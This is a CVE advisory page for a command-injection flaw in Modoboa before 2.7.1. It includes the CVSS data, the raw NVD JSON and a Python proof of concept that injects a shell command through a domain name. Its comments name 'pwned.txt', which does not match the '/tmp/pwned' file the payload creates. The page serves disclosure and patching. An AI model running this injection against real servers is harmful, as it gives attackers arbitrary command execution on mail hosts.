Security Vulnerability Report
中文
CVE-2026-27602 CVSS 7.2 HIGH

CVE-2026-27602

Published: 2026-03-25 19:16:48
Last Modified: 2026-03-26 16:30:22

Description

Modoboa is a mail hosting and management platform. Prior to version 2.7.1, `exec_cmd()` in `modoboa/lib/sysutils.py` always runs subprocess calls with `shell=True`. Since domain names flow directly into shell command strings without any sanitization, a Reseller or SuperAdmin can include shell metacharacters in a domain name to run arbitrary OS commands on the server. Version 2.7.1 patches the issue.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:modoboa:modoboa:*:*:*:*:*:*:*:* - VULNERABLE
Modoboa < 2.7.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL configuration target_url = "http://target-modoboa-instance/api/v1/domains/" # Attacker's credentials (Requires Reseller or SuperAdmin privileges) credentials = { "username": "[email protected]", "password": "your_password" } # Malicious payload containing shell metacharacters # The payload attempts to create a file 'pwned.txt' in /tmp/ # Domain name: `example.com; touch /tmp/pwned; #` malicious_domain = { "name": "example.com; touch /tmp/pwned; #", "quota": 100 } # Authenticate and obtain token session = requests.Session() try: login_resp = session.post("http://target-modoboa-instance/api/v1/tokens/", json=credentials) if login_resp.status_code != 200: print("[!] Authentication failed.") exit(1) token = login_resp.json().get('token') headers = {"Authorization": f"Token {token}"} # Send the malicious domain creation request print("[*] Sending exploit payload...") exploit_resp = session.post(target_url, json=malicious_domain, headers=headers) if exploit_resp.status_code == 201: print("[+] Domain created successfully. Check /tmp/pwned.txt on the target server.") else: print(f"[-] Exploit failed. Status Code: {exploit_resp.status_code}") print(exploit_resp.text) except Exception as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27602", "sourceIdentifier": "[email protected]", "published": "2026-03-25T19:16:48.430", "lastModified": "2026-03-26T16:30:21.993", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Modoboa is a mail hosting and management platform. Prior to version 2.7.1, `exec_cmd()` in `modoboa/lib/sysutils.py` always runs subprocess calls with `shell=True`. Since domain names flow directly into shell command strings without any sanitization, a Reseller or SuperAdmin can include shell metacharacters in a domain name to run arbitrary OS commands on the server. Version 2.7.1 patches the issue."}, {"lang": "es", "value": "Modoboa es una plataforma de alojamiento y gestión de correo. Antes de la versión 2.7.1, `exec_cmd()` en `modoboa/lib/sysutils.py` siempre ejecuta llamadas a subprocesos con `shell=True`. Dado que los nombres de dominio fluyen directamente a las cadenas de comandos de shell sin ninguna sanitización, un Revendedor o SuperAdministrador puede incluir metacaracteres de shell en un nombre de dominio para ejecutar comandos arbitrarios del sistema operativo en el servidor. La versión 2.7.1 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:modoboa:modoboa:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.1", "matchCriteriaId": "7671912F-6179-481E-BD53-77F68BD56B70"}]}]}], "references": [{"url": "https://github.com/modoboa/modoboa/commit/27a7aa133d3608fe8c25ae39125d1012c333cbfa", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/modoboa/modoboa/releases/tag/2.7.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/modoboa/modoboa/security/advisories/GHSA-wwv8-cqpr-vx3m", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/modoboa/modoboa/security/advisories/GHSA-wwv8-cqpr-vx3m", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}